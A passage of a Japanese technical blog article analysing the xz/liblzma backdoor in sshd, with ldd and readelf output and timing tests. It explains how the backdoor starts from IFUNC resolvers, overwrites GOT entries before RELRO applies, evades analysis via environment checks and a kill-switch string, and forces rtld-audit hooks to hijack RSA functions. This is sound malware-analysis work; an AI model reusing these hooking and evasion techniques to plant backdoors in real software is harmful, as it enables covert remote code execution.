        libsystemd.so.0 => /lib/x86_64-linux-gnu/libsystemd.so.0 (0x00007f0846a2e000)
        libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f08465ea000)
        libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007f08465cc000)
        libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1 (0x00007f0846592000)
        libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f0846566000)
        libgssapi_krb5.so.2 => /lib/x86_64-linux-gnu/libgssapi_krb5.so.2 (0x00007f0846512000)
        libkrb5.so.3 => /lib/x86_64-linux-gnu/libkrb5.so.3 (0x00007f0846447000)
        libcom_err.so.2 => /lib/x86_64-linux-gnu/libcom_err.so.2 (0x00007f0846441000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0846216000)
        libnsl.so.2 => /lib/x86_64-linux-gnu/libnsl.so.2 (0x00007f08461fc000)
        libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007f08461f4000)
        liblzma.so.5 => /home/naoki/lib/liblzma.so.5 (0x00007f08461b6000)
        libzstd.so.1 => /lib/x86_64-linux-gnu/libzstd.so.1 (0x00007f08460e7000)
        liblz4.so.1 => /lib/x86_64-linux-gnu/liblz4.so.1 (0x00007f08460c7000)
        libcap.so.2 => /lib/x86_64-linux-gnu/libcap.so.2 (0x00007f08460ba000)
        libgcrypt.so.20 => /lib/x86_64-linux-gnu/libgcrypt.so.20 (0x00007f0845f7c000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f0846c30000)
        libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007f0845ee5000)
        libk5crypto.so.3 => /lib/x86_64-linux-gnu/libk5crypto.so.3 (0x00007f0845eb6000)
        libkrb5support.so.0 => /lib/x86_64-linux-gnu/libkrb5support.so.0 (0x00007f0845ea8000)
        libkeyutils.so.1 => /lib/x86_64-linux-gnu/libkeyutils.so.1 (0x00007f0845e9f000)
        libresolv.so.2 => /lib/x86_64-linux-gnu/libresolv.so.2 (0x00007f0845e8b000)
        libtirpc.so.3 => /lib/x86_64-linux-gnu/libtirpc.so.3 (0x00007f0845e5d000)
        libgpg-error.so.0 => /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007f0845e37000)

なお、Ubuntu環境の同パッケージにて、systemd-readiness.patchだけを除外してビルドした場合は以下のようにlibsystemd.so, liblzma.so.5はリンクされません。

ldd debian/openssh-server/usr/sbin/sshd
$ ldd debian/openssh-server/usr/sbin/sshd
        linux-vdso.so.1 (0x00007ffd1afe4000)
        libwrap.so.0 => /lib/x86_64-linux-gnu/libwrap.so.0 (0x00007f327f765000)
        libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007f327f737000)
        libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007f327f725000)
        libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f327f2e1000)
        libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007f327f2c5000)
        libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1 (0x00007f327f289000)
        libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f327f25d000)
        libgssapi_krb5.so.2 => /lib/x86_64-linux-gnu/libgssapi_krb5.so.2 (0x00007f327f209000)
        libkrb5.so.3 => /lib/x86_64-linux-gnu/libkrb5.so.3 (0x00007f327f13e000)
        libcom_err.so.2 => /lib/x86_64-linux-gnu/libcom_err.so.2 (0x00007f327f138000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f327ef0f000)
        libnsl.so.2 => /lib/x86_64-linux-gnu/libnsl.so.2 (0x00007f327eef3000)
        libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007f327eeeb000)
        libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007f327ee54000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f327f860000)
        libk5crypto.so.3 => /lib/x86_64-linux-gnu/libk5crypto.so.3 (0x00007f327ee25000)
        libkrb5support.so.0 => /lib/x86_64-linux-gnu/libkrb5support.so.0 (0x00007f327ee17000)
        libkeyutils.so.1 => /lib/x86_64-linux-gnu/libkeyutils.so.1 (0x00007f327ee0e000)
        libresolv.so.2 => /lib/x86_64-linux-gnu/libresolv.so.2 (0x00007f327edfa000)
        libtirpc.so.3 => /lib/x86_64-linux-gnu/libtirpc.so.3 (0x00007f327edcc000)

sshd起動時の処理

上記のように、sshdを起動するとバックドアのコードが含まれたliblzma.so.5がロードされ、ロード時(main処理開始前)にIFUNC機能によるリゾルバ関数から _get_cpuid()関数を実行することによってバックドアの処理が開始されます。

以降では、バックドア処理の詳細を見ていきます。

バックドア処理

バックドア処理の目的と流れ

sshd起動時のバックドア処理の目的は、以下の認証に関連する処理をハイジャックすることです。以下の3つの関数がターゲットとされており、いずれか1つだけの処理を置き換えます。

これらの関数はlibcrypto.soに含まれております。Ubuntuではこのライブラリはlibssl3パッケージに含まれています。

$ apt-file search /usr/lib/x86_64-linux-gnu/libcrypto.so.3
libssl3: /usr/lib/x86_64-linux-gnu/libcrypto.so.3
$ readelf -sW /usr/lib/x86_64-linux-gnu/libcrypto.so.3 | grep -E '(RSA_public_decrypt|EVP_PKEY_set1_RSA|RSA_get0_key)'
  2148: 00000000001edb30    11 FUNC    GLOBAL DEFAULT   15 RSA_public_decrypt@@OPENSSL_3.0.0
  3465: 00000000001a5e20    67 FUNC    GLOBAL DEFAULT   15 EVP_PKEY_set1_RSA@@OPENSSL_3.0.0
  3914: 00000000001edd60    41 FUNC    GLOBAL DEFAULT   15 RSA_get0_key@@OPENSSL_3.0.0

上記の関数をハイジャックするには、Linuxの動的リンカ(dynamic linker)が持つrtld-audit機能のla_symbind64()インターフェースを使用しています。このインターフェースを使用することで、共有ライブラリのロードやシンボル解決プロセスにフックを挿入できます。

実際には以下の流れで処理が実行されます。

  1. _get_cpuid()関数内にて_cpuid()のGOTを書き換え、バックドア処理のエントリーポイントに移る
  2. 実行環境をチェックし、主にデバッグに関連する環境変数が設定されている場合は処理を継続しない
  3. rtld-audit機能のla_symbind64()インターフェースを使用して、関数(シンボル)がロードされたときのフックを設定する
  4. シンボルロード毎にla_symbind64()によって設定されたフックが実行され、ターゲットとする関数のGOTを書き換える

①_get_cpuid()関数内にて_cpuid()のGOTを書き換え

Global Offset Table (GOT)

Global Offset Table (GOT)は、動的リンクやポジション独立コード(PIC: Position-Independent Code)をサポートするためのデータ構造で、主に共有ライブラリや実行ファイルがメモリ上の正しいアドレスへアクセスできるようにする役割を持ちます。具体的には共有ライブラリ等の外部関数のアドレスをテーブルで持ち、関数が呼ばれた際にはそのアドレスを参照して処理を実行します。

GOT Overwrite攻撃という攻撃者がGOTエントリを書き換え、悪意のあるコードに制御を移す攻撃があり、このバックドアでも使用されています。IFUNC機能で触れたように、GOT Overwrite攻撃ができないようなRELRO設定になっていますが、遅延バインドを無効にしてIFUNC機能を使うことにより、GOTテーブルを書き込み不可にする前にこのバックドア処理が実行されています。

処理内容

IFUNC機能により、crc32_resolve(), crc64_resolve()から_get_cpuid()関数が実行されます。
処理中ではグローバルのカウンターを持っており、crc32_resolve()から呼ばれた1回目はバックドア処理はスキップされ、crc64_resolve()から呼ばれた2回目のみに一度だけ実行されます。

処理の中で_cpuid()のGOT書き換えて_cpuid()を実行し、その後元のGOTもとに戻しています。この_cpuid()実行がバックドア処理の実質のエントリーポイントになります。

image.png

②実行環境をチェック

トライ木による文字列比較

バックドア処理の中ではELFヘッダチェック、プロセス名チェック、環境変数チェックなど様々な文字列比較を行いますが、バイナリの中ではそのままの文字列として保持していないため、stringsコマンドでも抽出することができません。処理中ではトライ木を持っており、それを使用して文字列比較を行っております。

比較対象となる文字列を元にツリー構造を辿り、得た数値と想定する数値を比較することによって文字列比較を実現しています。例えば、/usr/sbin/sshd\x00という文字列には0x108という数値が割り当てられております。

実装としては2つのテーブルでトライ木を実現しています。テーブル1は4バイトで1つの情報を表し、テーブル1,2のオフセット情報とフラグ(オフセットの方向、ノード終端かどうか)を持っています。テーブル2は実際の文字データ(2進表記で下位ビットの0が連続する個数でアスキーコードを表現)とインデックス情報を持っています。バックドア処理としてはlookup処理のみを持ち、insertする処理はありません。

トライ木の実データとpythonでの実装、トライ木をトラバースした結果は以下にあります。トライ木のデータは5.6.0と5.6.1のどちらでも同じです。

処理内容

以下のチェックが実施され、条件を満たさない場合は処理を継続しません。

  • 実行しているプロセス名(argv[0])が /usr/sbin/sshd になっているか
  • sshdのオプションに -d が指定されていないか
  • トライ木に登録されている文字列が環境変数として設定されていないか

プロセス名(argv[0])と環境変数はスタック上にある情報を取得しています。
プロセス名は上記のトライ木を利用して/usr/sbin/sshdになっているかを確認しています。実行パスが/usr/local/sbin/sshdになっている場合や、他のバイナリがliblzma.so.5をリンクしている場合はバックドアが動作しないようになっています。

また、実行時の環境変数もチェックしており、LD_DEBUG等のリンカ設定や端末設定など、解析に関連するようなものが設定されている場合にはバックドアを無効化するようになっています。他の解説でキルスイッチと呼ばれているyolAbejyiejuvnup=Evjtgvsh5okmkAvjや特定の環境変数が設定されていたりするとバックドアが無効化されますが、実際はこれらが特別に処理されているわけではなく、トライ木に登録されている文字列が環境変数として設定されている場合は無効化されます。例えば、トライ木に登録されているauthenticatingは環境変数を想定したものではありませんが、これを環境変数として設定するとバックドアは無効化されます。

バックドアが有効になっている場合(実行時間が数百msになる)
$ time env -i LD_LIBRARY_PATH=/home/naoki/lib /usr/sbin/sshd -h
(略)
real    0m0.320s
user    0m0.214s
sys     0m0.098s
バックドアが無効になっている場合(実行時間が数十ms程度)
$ time env -i LD_LIBRARY_PATH=/home/naoki/lib yolAbejyiejuvnup=Evjtgvsh5okmkAvj /usr/sbin/sshd -h
(略)
real    0m0.017s
user    0m0.012s
sys     0m0.000s

$ time env -i LD_LIBRARY_PATH=/home/naoki/lib authenticating= /usr/sbin/sshd -h
(略)
real    0m0.018s
user    0m0.013s
sys     0m0.000s

③la_symbind64によりシンボルロード時のフックを設定

rtld-audit機能のla_symbind64インターフェース

rtld-audit機能はglibcで提供される動的リンカが持つ機能で、動的リンクプロセスを監視・カスタマイズするためのインターフェースを提供します。これにより、動的ライブラリロードの監視やシンボル解決の監視が可能になります。

このバックドアにおいては、la_symbind64というインタフェースを強制的に設定することにより、リンカがシンボルを解決するときに実行する処理をフックします。

処理内容

実行環境チェック後はrtld-auditの設定を行います。
バックドア処理の目的と流れの記載通り、目的はlibcrypto.so内にある3つの関数のいずれかをハイジャックする(GOTを書き換える)ことです。ただ、この処理が実行されているタイミング(IFUNC機能のリゾルバ関数から_get_cpuid()が実行されているタイミング)ではlibcrypto.soはまだロードされていないため、該当関数のGOTを直接変更することはできません。
そのため、リンカがシンボルを解決するときに実行する処理をフックすることにより、実際そのシンボル(関数)がロードされたタイミングでGOTを書き換えています。

rtld-auditの設定を実施するにあたり、正規の設定インタフェースを呼び出すのではなく、メモリ上からリンカが持つrtld-auditの設定に関する領域を探し出し、直接書き換えることによって強制的にフックを設定しています。
これにより、このあとシンボルがロードされるたびにフック処理が実行されることになります。

以下はrtld-audit設定に関する動作をgdbで確認した結果です。
rect12.png

④フック処理でGOTを書換え

処理内容

上記③で設定したフック処理は、リンカがシンボルをロードするたびに呼び出されます。フック処理は共通処理であるため、実行されるたびにシンボル名がターゲットの3関数であるかを確認し、そうであればGOTを書き換えています。

3関数のうち1つでも書き換えが成功すると、そのフック処理の最後でrtld-auditの設定を元に戻しており、これ以降このフックは呼び出されません。

sshd起動時のバックドア初期化処理としては以上となり、これ以降ssh接続があった場合には上記でハイジャックされた関数が実行され、正規の認証処理とは異なる処理が実行されることにより、攻撃者(Jia Tan)は任意のコマンドを実行できる状態になります。

以下はGOT書換えに関する動作をgdbで確認した結果です。
rect12.png

最後に

ここでは、ソースコードからビルドし、sshd起動によりバックドアが有効になるところまでを解説しました。このあと、このバックドアがどのように悪用されるかについては、以下のサイトが参考になると思います。

参考

xz backdoor

ArchLinux

Ubuntu

GCC

IFUNC

GLIBC

LZMA

ELF

Autotools

アセンブリ

コマンド

その他

7
8
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
7
8

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?